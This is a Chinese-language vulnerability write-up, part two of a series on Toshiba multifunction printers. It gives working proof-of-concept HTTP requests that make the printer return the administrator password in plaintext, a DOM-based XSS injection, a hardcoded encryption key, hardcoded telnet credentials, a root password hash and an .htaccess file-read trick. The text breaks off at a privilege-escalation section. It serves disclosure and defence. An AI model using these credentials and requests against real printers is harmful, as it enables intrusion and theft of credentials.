东芝多功能打印机 40 个漏洞挖掘过程(第二部分)

IoT 2个月前 admin
52 0 0

东芝多功能打印机 40 个漏洞挖掘过程(第二部分)

详细信息 – /ramdisk/al/network/log 目录中不安全的日志中泄露了身份验证会话

我们发现会话以明文日志的形式保存。这些日志可供所有人阅读,部分日志还可被任何本地攻击者随意修改。

一些日志存储在/ramdisk/al/network/log权限不安全的目录中。我们可以在里面找到身份验证会话:

bash-4.1# pwd
/ramdisk/al/network/log
bash-4.1# ls -la
total 184
drwxr-xr-x 6 root root 0 May 30 10:38 .
drwxr-xr-x 7 root root 0 May 30 10:39 ..
-rw-rw-rw- 1 root trusted 1455 May 30 10:38 dibbler-client.log
-rw-rw-rw- 1 root trusted 23051 May 30 16:48 hp9100.log.0.txt
-rw-rw-rw- 1 root trusted 58886 May 30 17:29 http.log
-rw-rw-rw- 1 root trusted 6143 May 30 17:29 http_access.log
-rw-rw-rw- 1 root trusted 9194 May 30 14:08 https.log
-rw-rw-rw- 1 root trusted 962 May 30 15:01 lprng.log.0.txt
-rw-r----- 1 root adm 8767 May 30 16:38 maillog
-rw-rw-rw- 1 root trusted 58619 May 30 17:23 nqlog.log
drwxrwxrwx 2 root trusted 0 May 30 10:38 wsd
drwxrwxrwx 2 root trusted 0 May 30 10:38 wsm
drwxrwxrwx 2 root trusted 0 May 30 10:38 wsp
drwxrwxrwx 2 root trusted 0 May 30 10:38 wsscn
bash-4.1# grep SessionID *
http.log:[Thu May 30 17:29:08.209477 2023] [contentwebserver:debug] [pid 5113] ccontentwebserver.cpp(1130): [client 10.0.0.2:43384] CContentWebServer:: SessionID=[ContentWebServer_10.0.0.2.874eef7e817c9d053cbdc618d850ab61] ignoreSessionTimeout=[IgnoreSessionTimeout], referer: http://10.0.0.1:8080/
http.log:[Thu May 30 17:29:08.739761 2023] [contentwebserver:debug] [pid 5118] ccontentwebserver.cpp(1130): [client 10.0.0.2:43386] CContentWebServer:: SessionID=[ContentWebServer_10.0.0.2.874eef7e817c9d053cbdc618d850ab61] ignoreSessionTimeout=[IgnoreSessionTimeout], referer: http://10.0.0.1:8080/FrameIndex.html?v=1670282309ta
[...]
bash-4.1# grep -i cookie *
http.log:Utility::GetCookie sCookievalue=[]
http.log:[Thu May 30 12:49:00.729591 2023] [contentwebserver:error] [pid 5121] [client 10.0.0.2:50619] [utility.cpp : 563] In SetCookie:: NO cookieInfo sent
http.log:[Thu May 30 12:49:00.729632 2023] [contentwebserver:error] [pid 5121] [client 10.0.0.2:50619] [utility.cpp : 594] In SetCookie::cookiebuf 10.0.0.2.289d834d7086d004ce9a710590e10be1
http.log: Utility::GetCookie cookieName=[Session]
http.log:Utility::GetCookie sCookievalue=[]
http.log:[Thu May 30 14:08:17.935840 2023] [contentwebserver:error] [pid 5113] [client 10.0.0.3:62840] [utility.cpp : 563] In SetCookie:: NO cookieInfo sent
http.log:[Thu May 30 14:08:17.935870 2023] [contentwebserver:error] [pid 5113] [client 10.0.0.3:62840] [utility.cpp : 594] In SetCookie::cookiebuf 10.0.0.3.117f8affdaee98da7f6c4d073bd2ab8d
http.log: Utility::GetCookie cookieName=[Session]
http.log:Utility::GetCookie sCookievalue=[]
http.log:[Thu May 30 14:08:20.603084 2023] [contentwebserver:error] [pid 5118] [client 10.0.0.4.75:62843] [utility.cpp : 563] In SetCookie:: NO cookieInfo sent
http.log:[Thu May 30 14:08:20.603114 2023] [contentwebserver:error] [pid 5118] [client 10.0.0.4:62843] [utility.cpp : 594] In SetCookie::cookiebuf 10.0.0.4.140ee80f33943e90ea27be3fc3c511fb
http.log: Utility::GetCookie cookieName=[Session]
http.log:Utility::GetCookie sCookievalue=[]

我们可以列出包含此类身份验证会话的文件:

  • al/network/log/http*

该文件具有不安全的权限,允许任何用户检索密码,并且某些文件可以由任何本地攻击者(或任何远程攻击者以 root 或 apache 身份使用预先认证的远程代码执行和多个本地权限提升漏洞)自由修改:

不安全的日志文件:

bash-4.1# pwd
/ramdisk/al/network/log
bash-4.1# ls -la
total 184
drwxr-xr-x 6 root root 0 May 30 10:38 .
drwxr-xr-x 7 root root 0 May 30 10:39 ..
-rw-rw-rw- 1 root trusted 1455 May 30 10:38 dibbler-client.log
-rw-rw-rw- 1 root trusted 23051 May 30 16:48 hp9100.log.0.txt
-rw-rw-rw- 1 root trusted 58886 May 30 17:29 http.log
-rw-rw-rw- 1 root trusted 6143 May 30 17:29 http_access.log
-rw-rw-rw- 1 root trusted 9194 May 30 14:08 https.log
-rw-rw-rw- 1 root trusted 962 May 30 15:01 lprng.log.0.txt
-rw-r----- 1 root adm 8767 May 30 16:38 maillog
-rw-rw-rw- 1 root trusted 58619 May 30 17:23 nqlog.log
drwxrwxrwx 2 root trusted 0 May 30 10:38 wsd
drwxrwxrwx 2 root trusted 0 May 30 10:38 wsm
drwxrwxrwx 2 root trusted 0 May 30 10:38 wsp
drwxrwxrwx 2 root trusted 0 May 30 10:38 wsscn

攻击者可以检索身份验证会话。

远程攻击者可以通过上传包含 RewriteRule(RewriteRule /pwned.txt file:/path/to/local/file)的 .htaccess 文件来检索凭据并绕过身份验证机制,使用预先认证的远程代码执行(以 root 或 apache 身份)和多个本地权限提升漏洞。

详细信息 – 硬编码 root 密码

所有东芝打印机都使用相同的硬编码 root 密码。此硬编码密码默认写入固件映像中,无法修改。此外,2017 年的固件映像中也发现了哈希值,这意味着此密码从未更新过:

内容/etc/shadow

bash-4.1# cat /etc/shadowroot:$6$rsDekYom2xF0b$T./E5cKsgXixcqB6ULMv1f1/AztBn86Lt7Uv1MTS7LynR325iUIb9ql2A0UCHUzPLavlPnfsi/gOoJTosjo230:11323:0:99999:7:::bin:!!:12571:0:99999:7:::daemon:!!:12571:0:99999:7:::adm:!!:12571:0:99999:7:::lp:!!:12571:0:99999:7:::sync:!!:12571:0:99999:7:::shutdown:!!:12571:0:99999:7:::halt:!!:12571:0:99999:7:::mail:!!:12571:0:99999:7:::uucp:!!:12571:0:99999:7:::operator:!!:12571:0:99999:7:::games:!!:12571:0:99999:7:::gopher:!!:12571:0:99999:7:::ftp:!!:12571:0:99999:7:::hacluster:!!:12571:0:99999:7:::rpcuser:!!:12571:0:99999:7:::ntp:!!:12571:0:99999:7:::smmsp:!:19431:0:99999:7:::vcsa:!!:12571:0:99999:7:::sshd:!!:12571:0:99999:7:::nobody:!!:12571:0:99999:7:::nfsnobody:!!:12571:0:99999:7:::uuidd:x:19431:0:99999:7:::messagebus:!:19431::::::apache:!:19431:0:99999:7:::sh-4.1#

如果 telnetd 或 openssh 服务器正在运行,攻击者可以远程攻击任何东芝打印机。

详细信息 – 用于加密日志的硬编码密码

我们发现,所有东芝打印机都包含一个使用相同硬编码密钥来加密日志的 shell 脚本。

该脚本/home/SYSROM_SRC/build/common/bin/encrypt_backup_log.sh具有不安全的权限,并包含硬编码密钥1048toshibatec

不安全的权限/home/SYSROM_SRC/build/common/bin/encrypt_backup_log.sh

bash-4.1# ls -la /home/SYSROM_SRC/build/common/bin/encrypt_backup_log.sh
-rwxrwxrwx 1 root root 95309 2021 年 11 月 8 日 /home/SYSROM_SRC/build/common/bin/encrypt_backup_log.sh
bash-4.1#

文件内容:

[...]
1908 echo "Start Collected Log Encryption"
1909 openssl enc -e -aes256 -in $MOUNTPOINT/$SERIAL.$date.tar.gz -out $MOUNTPOINT/$SERIAL.$date -k 1048toshibatec
1910 if [ $? -eq 1 ]; then
1911 exit 1
1912 fi
[...]

攻击者可以使用硬编码密钥解密加密文件。

详细信息 – 用于加密日志的硬编码密码和使用弱摘要密码

我们发现,所有东芝打印机都包含一个使用相同硬编码密钥来加密日志的 shell 脚本。

该脚本/home/SYSROM_SRC/build/common/bin/CreateDebugLog.sh具有不安全的权限,并包含硬编码密钥1048toshibatec

不安全的权限/home/SYSROM_SRC/build/common/bin/CreateDebugLog.sh

bash-4.1# ls -la /home/SYSROM_SRC/build/common/bin/CreateDebugLog.sh
-rwxrwxrwx 1 root root 115474 Nov 8 2021 /home/SYSROM_SRC/build/common/bin/CreateDebugLog.sh
bash-4.1#

在这个文件中,我们可以找到几个硬编码的密钥,以及不安全地使用 MD5 作为摘要密码 ( -md md5) 来派生密钥:

内容/home/SYSROM_SRC/build/common/bin/CreateDebugLog.sh

1986 archiveLogECC()
[...]
2002 if ! openssl enc -e -aes256 -in $DIRPREFIX/$SERIAL_NUMBER'_'USR'_'DBGLOG.tar.gz -out $DIRPREFIX/$SERIAL_NUMBER'_'USR'_'DBGLOG -k 1048toshibatec; then
[...]
2020 if ! openssl enc -e -aes256 -in $DIRPREFIX/$SERIAL_NUMBER'_'USR'_'SPLDATA.tar.gz -out $DIRPREFIX/$SERIAL_NUMBER'_'USR'_'SPLDATA -k 1048toshibatec ; then
[...]
2029 archiveLogEmail()
[...]
2056 if ! openssl enc -e -aes256 -in $DIRPREFIX/$SERIAL_NUMBER'_'USR'_'DBGLOG.tar.gz -out $DIRPREFIX/$SERIAL_NUMBER'_'USR'_'DBGLOG -k 1048toshibatec ;then
[...]
2081 if ! openssl enc -e -aes256 -in $DIRPREFIX/$SERIAL_NUMBER'_'USR'_'SPLDATA.tar.gz -out $DIRPREFIX/$SERIAL_NUMBER'_'USR'_'SPLDATA -k 1048toshibatec;then
[...]
2426 if ! openssl enc -e -aes256 -in $ENCRYPTED_FILE".tar.gz" -out $ENCRYPTED_FILE -k 1048toshibatec -md md5; then
[...]

攻击者可以使用硬编码密钥解密加密文件。

MD5算法不安全。

详细信息 – 用于加密文件的硬编码密码

据观察,所有东芝打印机的程序都包含用于加密文件的硬编码密钥:

  • /home/SYSROM_SRC/build/release/bin/alreportmanager

  • /home/SYSROM_SRC/build/release/bin/alusermgr

这两个程序使用硬编码密钥1048toshibatec来生成文件。

在alreportmanager程序中,方法内部使用这个密钥al::reporting::ReportGenerator::EncryptFile(std::string *a1, const char **a2, const char **a3)来加密文件。

在 alusermgr 程序中,此密钥用于多种加密文件的方法。我们可以识别对其字符串的引用:

东芝多功能打印机 40 个漏洞挖掘过程(第二部分)

攻击者可以使用硬编码密钥解密加密文件。

详细信息 – /js/TopAccessUtil.js 文件中存在基于 DOM 的 XSS

所有东芝打印机都提供了一个可加载/js/TopAccessUtil.jsJavaScript 文件的 Web 界面。此/js/TopAccessUtil.jsJavaScript 文件包含易受 XSS 攻击的不安全代码,并加载到打印机提供的所有网页中:

http://ip:8080/?MAIN=TOPACCESS 的内容:

<!DOCTYPE html>
<html>
<head>
<meta http-equiv="X-UA-Compatible" content="IE=Edge">
<META http-equiv=Content-Type content="text/html; charset=windows-1252">
<META HTTP-EQUIV="cache-Control: private" CONTENT="NO-CACHE">
<META HTTP-EQUIV="PRAGMA" CONTENT="NO-CACHE">
<META HTTP-EQUIV="Expires" CONTENT="1">
<link rel="stylesheet" type="text/css" href="styles/style.css?v=1670278837ta">
<!--<title class="clsTitle1">TopAccess</title>-->
<script language="javascript" type="text/javascript" src="/js/Cookies.js?v=1670278837ta"></script>
<script language="javascript" type="text/javascript" src="/localization/Locale_languages_installed.js?v=1670278837ta"></script>
<script language="javascript" type="text/javascript" src="/js/localization.js?v=1670278837ta"></script>
<SCRIPT language="javascript" type="text/javascript" src="/js/AjaxReqRespHandler.js?v=1670278837ta"></SCRIPT>
<script language="javascript" type="text/javascript">
var gblTopWindow;
var backspacePressed;
var subMenuLoaded =false;
if(location.href.indexOf("?MAIN=EFILING") == -1){
window.opener = null;
gblTopWindow=true;
}
</script>
<SCRIPT language="javascript" type="text/javascript" src="/js/TopAccessUtil.js?v=1670278837ta"></SCRIPT>
<script language="javascript" type="text/javascript">

/js/TopAccessUtil.js文件包含易受攻击的getQueryStringValue()函数,它将从 URL 获取参数并在不进行任何清理的情况下返回它们:

565 function getQueryStringValue(varname,locationType) {
566 try {
567 /* locationType is a param which has enumeration ("parent" & "self" & "top") */
568 var strloc = "";
569 if (locationType == null || locationType == "parent"){
570 strloc = parent.location.href;
571 }else if (locationType == "top"){
572 strloc = top.location.href;
573 }else if (locationType == "self"){
574 strloc = location.href;
575 }else if (locationType == "parent.parent") {
576 strloc = parent.parent.location.href;
577 }
578 if(strloc.indexOf("?")== -1 && strloc.indexOf("#")== -1) {
579 //alert("Error: strVar is null in getQueryStringValue()")
580 } else {
581 var strVar = "";
582 if(strloc.indexOf("?") != -1)
583 strVar = strloc.split("?");
584 else
585 strVar = strloc.split("#");
586 var arrExpressions = strVar[1].split("&");
587 if(arrExpressions == null){
588 // alert("Error: arrExpressions is null in getQueryStringValue()")
589 }
590 var arrVars = null;
591 for (i=0;i<arrExpressions.length;i++) {
592 arrVars = arrExpressions[i].split("=");
593 if (arrVars[0] == varname) {
594 //alert("inside getQueryStringValue fun"+unescape(arrVars[1]));
595 return unescape(arrVars[1]);
596 }
597 }
598 }
599
600 return "";
601 } catch(e){errHandler(e,'getQueryStringValue()','TopAccessUtil.js?v=1670278837ta',"");return "";}
602 }

例如,该网页/Administration/SystemUpdates/MoreUpdateDetails.html使用getQueryStringValue()函数显示变量,这些变量可以被攻击者控制,从而注入恶意的 JavaScript 代码,窃取管理员的会话 cookie:

/Administration/SystemUpdates/MoreUpdateDetails.html第46行、第51行和第58行含有漏洞的代码内容:

 31 <FORM NAME = "frmMoreUpdateDetails">
32 <TABLE BORDER="0" cellspacing="6" cellpadding="0" width="100%">
33 <TR >
34 <TD VALIGN="TOP" NOWRAP colspan="2" style="FONT-WEIGHT: normal; FONT-SIZE: 16pt; COLOR: #6699FE; FONT-STYLE: normal; FONT-FAMILY: Arial, sans-serif; TEXT-DECORATION: none">
35 <script type="text/javascript">document.write(fnGetLocaleString("DUMMYRESID","Update Details"));</script>
36 </TD>
37 </TR>
38 <TR >
39 <TD VALIGN="TOP" NOWRAP colspan="2">
40 &nbsp;
41 </TD>
42 </TR>
43 <TR>
44 <TD VALIGN="TOP" WIDTH = "30%" ALIGN="LEFT" style="FONT-SIZE:10pt;FONT-STYLE: normal; FONT-FAMILY: Arial, sans-serif;">
45 <B><script>
46 document.write(getQueryStringValue("packageName","self"));
47 </script></B>
48 </TD>
49 <TD VALIGN="TOP" ALIGN="LEFT" style="FONT-SIZE:9pt;FONT-STYLE: normal; FONT-FAMILY: Arial, sans-serif;">
50 <B><script>
51 document.write(getQueryStringValue("packageDate","self"));
52 </script></B>
53 </TD>
54 </TR>
55 <TR >
56 <TD VALIGN="TOP" style="FONT-SIZE:10pt;FONT-STYLE: normal; FONT-FAMILY: Arial, sans-serif;" colspan="2">
57 <script>
58 document.write('<textarea rows="13" cols="47">'+window.opener.getValue(getQueryStringValue("packageId"))+'</textarea>');
59 </script>
60 </TD>
61 </TR>

可以注入 HTML 代码和 JavaScript 代码,如下所示,使用查询字符串中的XMPHTML 标签进行解释并禁用任何后续代码。?packageName=<XMP>

东芝多功能打印机 40 个漏洞挖掘过程(第二部分)

在代码库中有可能发现这种基于 DOM 的 XSS。打印机提供的 HTML 文件中至少有 27 个 XSS:

kali% rgrep getQueryStringValue .|grep write
./Administration/SystemUpdates/MoreUpdateDetails.html: document.write(getQueryStringValue("packageName","self"));
./Administration/SystemUpdates/MoreUpdateDetails.html: document.write(getQueryStringValue("packageDate","self"));
./Administration/SystemUpdates/MoreUpdateDetails.html: document.write('<textarea rows="13" cols="47">'+window.opener.getValue(getQueryStringValue("packageId"))+'</textarea>');
./Registration/Template/ScanToEFiling.html: <script type="text/javascript">document.write("<INPUT ID="btnPanelProperties" TYPE="button" VALUE=""+fnGetLocaleString("101335","Panel Setting")+"" ONCLICK='fnnOpenInNewWindow("PanelSet.html?v=1670282309ta&tempImgId=8&groupid="+getQueryStringValue("groupid"))'>");</script>
./Registration/Template/ScanToUSB.html: <script type="text/javascript">document.write("<INPUT ID="btnPanelProperties" TYPE="button" VALUE=""+fnGetLocaleString("101335","Panel Setting")+"" ONCLICK='fnnOpenInNewWindow("PanelSet.html?v=1670282309ta&tempImgId=15&groupid="+getQueryStringValue("groupid"))'>");</script>
./Registration/Template/ScanToEmailAndUSB.html: <script type="text/javascript">document.write("<INPUT ID="btnPanelProperties" TYPE="button" VALUE=""+fnGetLocaleString("101335","Panel Setting")+"" ONCLICK='fnnOpenInNewWindow("PanelSet.html?v=1670282309ta&tempImgId=16&groupid="+getQueryStringValue("groupid"))'>");</script>
./Registration/Template/MetaScanToUSB.html: <script type="text/javascript">document.write("<INPUT type='button' value='"+fnGetLocaleString('101335','Panel Setting')+"' ID='btnPanelProperties' onclick=fnnOpenInNewWindow('PanelSet.html?v=1670282309ta&tempImgId=21&groupid='+getQueryStringValue('groupid'));>");</script>
./Registration/Template/FaxMode.html: <script type="text/javascript">document.write("<INPUT type='button' value='"+fnGetLocaleString('101335','Panel Setting')+"' ID='btnPanelProperties' onclick=fnnOpenInNewWindow('PanelSet.html?v=1670282309ta&tempImgId=4&groupid='+getQueryStringValue('groupid'));>");</script>
./Registration/Template/MetaScanToFile.html: <script type="text/javascript">document.write("<INPUT type='button' value='"+fnGetLocaleString('101335','Panel Setting')+"' ID='btnPanelProperties' onclick=fnnOpenInNewWindow('PanelSet.html?v=1670282309ta&tempImgId=19&groupid='+getQueryStringValue('groupid'));>");</script>
./Registration/Template/CopySaveAsFile.html: <script type="text/javascript">document.write("<INPUT type='button' value='"+fnGetLocaleString('101335','Panel Setting')+"' ID='btnPanelProperties' onclick=fnnOpenInNewWindow('PanelSet.html?v=1670282309ta&tempImgId=2&groupid='+getQueryStringValue('groupid'));>");</script>
./Registration/Template/ScanToEMail.html: <script type="text/javascript">document.write("<INPUT ID="btnPanelProperties" TYPE="button" VALUE=""+fnGetLocaleString("101335","Panel Setting")+"" ONCLICK='fnnOpenInNewWindow("PanelSet.html?v=1670282309ta&tempImgId=7&groupid="+getQueryStringValue("groupid"))'>");</script>
./Registration/Template/ScanSettingList.html: <option value="High"><script type="text/javascript">if(getQueryStringValue("DefaultVals","self")=="true"){document.write(fnGetLocaleString("100880","High"));} else {document.write(fnGetLocaleString("101095","Low"));}</script>
./Registration/Template/ScanSettingList.html: <option value="Low"><script type="text/javascript">if(getQueryStringValue("DefaultVals","self")=="true"){document.write(fnGetLocaleString("101095","Low"));} else {document.write(fnGetLocaleString("100880","High"));}</script>
./Registration/Template/ScanSettingList.html: <script type="text/javascript">document.write("<INPUT ID="btnPanelProperties" TYPE="button" VALUE=""+fnGetLocaleString("101335","Panel Setting")+"" ONCLICK='fnnOpenInNewWindow("PanelSet.html?v=1670282309ta&tempImgId="+tempImgID+"&groupid="+getQueryStringValue("groupid"))'>");</script>
./Registration/Template/CopyStoreToEFilling.html: <script type="text/javascript">document.write("<INPUT type='button' value='"+fnGetLocaleString('101335','Panel Setting')+"' ID='btnPanelProperties' onclick=fnnOpenInNewWindow('PanelSet.html?v=1670282309ta&tempImgId=3&groupid='+getQueryStringValue('groupid'));>");</script>
./Registration/Template/SmbFtpOther.html: <script type="text/javascript">document.write("<INPUT ID="btnPanelProperties" TYPE="button" VALUE=""+fnGetLocaleString("101335","Panel Setting")+"" ONCLICK='fnnOpenInNewWindow("PanelSet.html?v=1670282309ta&tempImgId=22&groupid="+getQueryStringValue("groupid"))'>");</script>
./Registration/Template/MetaScanToEmail.html: <script type="text/javascript">document.write("<INPUT type='button' value='"+fnGetLocaleString('101335','Panel Setting')+"' ID='btnPanelProperties' onclick=fnnOpenInNewWindow('PanelSet.html?v=1670282309ta&tempImgId=20&groupid='+getQueryStringValue('groupid'));>");</script>
./Registration/Template/ScanToEmailAndSaveAsFile.html: <script type="text/javascript">document.write("<INPUT ID="btnPanelProperties" TYPE="button" VALUE=""+fnGetLocaleString("101335","Panel Setting")+"" ONCLICK='fnnOpenInNewWindow("PanelSet.html?v=1670282309ta&tempImgId=10&groupid="+getQueryStringValue("groupid"))'>");</script>
./Registration/Template/ScanSetting.html: <option value="High"><script type="text/javascript">if(opener.getQueryStringValue("DefaultVals","self")=="true") {document.write(fnGetLocaleString("100880","High"));} else {document.write(fnGetLocaleString("101095","Low"));}</script>
./Registration/Template/ScanSetting.html: <option value="Low"><script type="text/javascript">if(opener.getQueryStringValue("DefaultVals","self")=="true") {document.write(fnGetLocaleString("101095","Low"));} else {document.write(fnGetLocaleString("100880","High"));}</script>
./Registration/Template/FaxSaveAsFile.html: <script type="text/javascript">document.write("<INPUT type='button' value='"+fnGetLocaleString('101335','Panel Setting')+"' ID='btnPanelProperties' onclick=fnnOpenInNewWindow('PanelSet.html?v=1670282309ta&tempImgId=5&groupid='+getQueryStringValue('groupid'));>");</script>
./Registration/Template/ScanToFile.html: <script type="text/javascript">document.write("<INPUT ID="btnPanelProperties" TYPE="button" VALUE=""+fnGetLocaleString("101335","Panel Setting")+"" ONCLICK='fnnOpenInNewWindow("PanelSet.html?v=1670282309ta&tempImgId=6&groupid="+getQueryStringValue("groupid"))'>");</script>
./Registration/Template/ScanToFileAndUSB.html: <script type="text/javascript">document.write(" <INPUT ID="btnPanelProperties" TYPE="button" VALUE=""+fnGetLocaleString("101335","Panel Setting")+"" ONCLICK='fnnOpenInNewWindow("PanelSet.html?v=1670282309ta&tempImgId=18&groupid="+getQueryStringValue("groupid"))'>");</script>
./Registration/Template/MetaScanToEmailAndFile.html: <script type="text/javascript">document.write("<INPUT type='button' value='"+fnGetLocaleString('101335','Panel Setting')+"' ID='btnPanelProperties' onclick=fnnOpenInNewWindow('PanelSet.html?v=1670282309ta&tempImgId=23&groupid='+getQueryStringValue('groupid'));>");</script>
./Registration/Template/ScanToFileAndBox.html: <script type="text/javascript">document.write("<INPUT ID="btnPanelProperties" TYPE="button" VALUE=""+fnGetLocaleString("101335","Panel Setting")+"" ONCLICK='fnnOpenInNewWindow("PanelSet.html?v=1670282309ta&tempImgId=11&groupid="+getQueryStringValue("groupid"))'>");</script>
./Registration/Template/ScanToEfilingAndUSB.html: <script type="text/javascript">document.write("<INPUT ID="btnPanelProperties" TYPE="button" VALUE=""+fnGetLocaleString("101335","Panel Setting")+"" ONCLICK='fnnOpenInNewWindow("PanelSet.html?v=1670282309ta&tempImgId=17&groupid="+getQueryStringValue("groupid"))'>");</script>
./Registration/Template/ScanToEmailAndEFiling.html: <script type="text/javascript">document.write("<INPUT ID="btnPanelProperties" TYPE="button" VALUE=""+fnGetLocaleString("101335","Panel Setting")+"" ONCLICK='fnnOpenInNewWindow("PanelSet.html?v=1670282309ta&tempImgId=12&groupid="+getQueryStringValue("groupid"))'>");</script>

由于该getQueryStringValue()函数在这些文件中被使用了880次,因此在分析代码时可以发现更多的XSS漏洞。

kali% pwd
/home/user/extract/home/SYSROM_SRC/build/release/TopAccess
kali% rgrep getQueryStringValue . | wc -l
880
kali%

攻击者可以窃取管理员用户的 cookie。

详细信息 – 管理员密码和密码泄露

所有东芝打印机在向 API /contentwebserver 发送 2 个特定 HTTP 请求时都会以明文形式显示管理员用户的密码和其他密码。攻击者窃取管理员的 cookie 或滥用 XSS 漏洞即可以明文形式恢复此密码并入侵打印机。

该HTTP请求如下所示:

用于恢复管理员用户密码的HTTP请求:

东芝多功能打印机 40 个漏洞挖掘过程(第二部分)

有 2 个请求是强制性的:

  • 包含此有效负载的第一个 POST 请求/contentwebserver

<DeviceInformationModel>  <GetValue>    <TopAccess>      <SessionInfo/>    </TopAccess>  </GetValue></DeviceInformationModel>
  • 第二个 POST 请求包含/contentwebserver以下有效负载:

<DeviceInformationModel>  <GetValue>    <UserManager>      <Users/>    </UserManager>  </GetValue>  <GetValue>    <Authentication>      <UserCredential/>      <AuthenticationSettings/>    </Authentication>  </GetValue>  <SetValue>    <UserManager>      <Users maxPage="" pageNo="1" pageSize="100" totalUsers=""/>    </UserManager>  </SetValue>  <Command>    <GetUsers>      <commandNode>UserManager/Users</commandNode>      <Params>        <userDetails contentType="XPath">UserManager</userDetails>        <cmdDetails>FEW</cmdDetails>      </Params>    </GetUsers>  </Command>  <Command>    <GetSettings>      <commandNode>Authentication/AuthenticationSettings</commandNode>    </GetSettings>  </Command></DeviceInformationModel>

服务器将以明文形式显示密码进行响应。

也可以以管理员身份访问 http://printer-ip/usermanagement/userconfirm/UserList.html?v=1670282309ta&PAGENO=1 并查看 HTTP 流量。访问此网页时,浏览器会自动发送以下 2 个请求:

东芝多功能打印机 40 个漏洞挖掘过程(第二部分)


PoC 是(会话必须更新):

第一个 HTTP 请求:

POST /contentwebserver HTTP/1.1
Host: 10.0.0.1:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cache-Control: no-cache
Pragma: no-cache
Content-Type: text/plain; charset=utf-8
csrfpId: 10.0.0.2.a89baa941c3bbdafcee7e9349daca6af
Content-Length: 120
Origin: http://10.0.0.1:8080
Connection: close
Referer: http://10.0.0.1:8080/usermanagement/userconfirm/UserList.html?v=1670282309ta&PAGENO=1
Cookie: Session=10.0.0.2.a89baa941c3bbdafcee7e9349daca6af; Locale=en-US,en#q=0.5; BrowserLang=en_US; pageTrack=MAIN%3DDEVICE; IgnoreSessionTimeout=1

<DeviceInformationModel><GetValue><TopAccess><SessionInfo></SessionInfo></TopAccess></GetValue></DeviceInformationModel>

第二个 HTTP 请求:

POST /contentwebserver HTTP/1.1
Host: 10.0.0.1:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cache-Control: no-cache
Pragma: no-cache
Content-Type: text/plain; charset=utf-8
csrfpId: 10.0.0.2.a89baa941c3bbdafcee7e9349daca6af
Content-Length: 652
Origin: http://10.0.0.1:8080
Connection: close
Referer: http://10.0.0.1:8080/usermanagement/userconfirm/UserList.html?v=1670282309ta&PAGENO=1
Cookie: Session=10.0.0.2.a89baa941c3bbdafcee7e9349daca6af; Locale=en-US,en#q=0.5; BrowserLang=en_US; pageTrack=MAIN%3DDEVICE; IgnoreSessionTimeout=1

<DeviceInformationModel><GetValue><UserManager><Users/></UserManager></GetValue><GetValue><Authentication><UserCredential></UserCredential><AuthenticationSettings></AuthenticationSettings></Authentication></GetValue><SetValue><UserManager><Users maxPage='' pageNo='1' pageSize='100' totalUsers=''></Users></UserManager></SetValue><Command><GetUsers><commandNode>UserManager/Users</commandNode><Params><userDetails contentType='XPath'>UserManager</userDetails><cmdDetails>FEW</cmdDetails></Params></GetUsers></Command><Command><GetSettings><commandNode>Authentication/AuthenticationSettings</commandNode></GetSettings></Command></DeviceInformationModel>

第二个请求的答复将包含几个明文密码,包括管理员用户的密码(123456):

HTTP/1.1 200 OK
Date: Mon, 10 Apr 2023 11:17:34 GMT
Server: Apache
X-Frame-Options: SAMEORIGIN
Cache-Control: max-age=63072000
Accept-Language: en-US,en;q=0.5
Connection: close
Content-Type: text/xml
Content-Length: 18489

[...]
<attrNameForUser ID="16"/>
<atrNameForCardID ID="16"/>
<attrNameForCardRevision ID="16"/>
<attrNameForServerName ID="16"/>
<passwordForCardRegistration>[REDACTED]</passwordForCardRegistration>
<skipRegistrationForCardAuth>false</skipRegistrationForCardAuth>
<autoRegistrationForCardAuth>false</autoRegistrationForCardAuth>
[...]
<UserCredential>
<userName>admin</userName>
<passwd>123456</passwd>
<ipaddress>10.0.0.2</ipaddress>
<DepartmentManagement isEnable="false">
<requireDepartment/>
</DepartmentManagement>
[...]

攻击者可以利用XSS漏洞或者窃取cookie来获取管理员用户的密码。

详细信息 – telnetd 中的硬编码凭据

我们发现所有东芝打印机都包含硬编码的 telnet 凭证(管理员/系统):

telnet.conf和文件的内容telnet.conf.bak

bash-4.1# ls -la /encryption/al/network/config/telnet.conf.bak
-rw-r--r-- 1 root root 41 Mar 15 11:50 /encryption/al/network/config/telnet.conf.bak
bash-4.1# ls -la /encryption/al/network/config/telnet.conf
-rw-r--r-- 1 root root 41 Mar 15 11:50 /encryption/al/network/config/telnet.conf
bash-4.1# cat /encryption/al/network/config/telnet.conf
cat /encryption/al/network/config/telnet.conf
PortNo=23
PassWord=System
UserName=Admin
bash-4.1# cat /encryption/al/network/config/telnet.conf.bak
cat /encryption/al/network/config/telnet.conf.bak
PortNo=23
PassWord=System
UserName=Admin
bash-4.1#

可以在配置文件中启用 telnet 守护进程/home/SYSROM_SRC/NoBuildItems/AL/Network/nsm.xml,它可能由以 root 身份运行的 alnsm 程序使用。

内容/home/SYSROM_SRC/NoBuildItems/AL/Network/nsm.xml

[...]
785 <NMO>
786 <name>Telnet</name>
787 <configFile>telnet.conf</configFile>
788 <startCmd runBackground="1">$EB2/bin/networkservice/telnet start</startCmd>
789 <stopCmd>$EB2/bin/networkservice/telnet stop</stopCmd>
790 <reloadCmd>$EB2/bin/networkservice/telnet restart</reloadCmd>
791 <statusCmd>$EB2/bin/networkservice/telnet status</statusCmd>
792 <serviceXpath>Services/Telnet</serviceXpath>
793 <connectSSM>0</connectSSM>
794 <startOrder>32</startOrder>
795 <dependents></dependents>
796 <TranslationMap>
797 <Map>
798 <iniXpath>UserName</iniXpath>
799 <xpath>Username</xpath>
800 </Map>
801 <Map>
802 <iniXpath>PassWord</iniXpath>
803 <xpath>Password</xpath>
804 </Map>
805 <Map>
806 <iniXpath>PortNo</iniXpath>
807 <xpath>Port</xpath>
808 </Map>
809 </TranslationMap>
810 </NMO>
[...]

虽然默认情况下未启用 telnet 服务器,但如果启用了 telnet 服务器,攻击者可以登录打印机并获取管理权限。

详细信息 – 使用 PROCSUID 进行本地权限提升

我们发现所有东芝打印机都包含一个位于 /usr/bin/sperl5.10.1-17 的 suidperl 二进制文件:

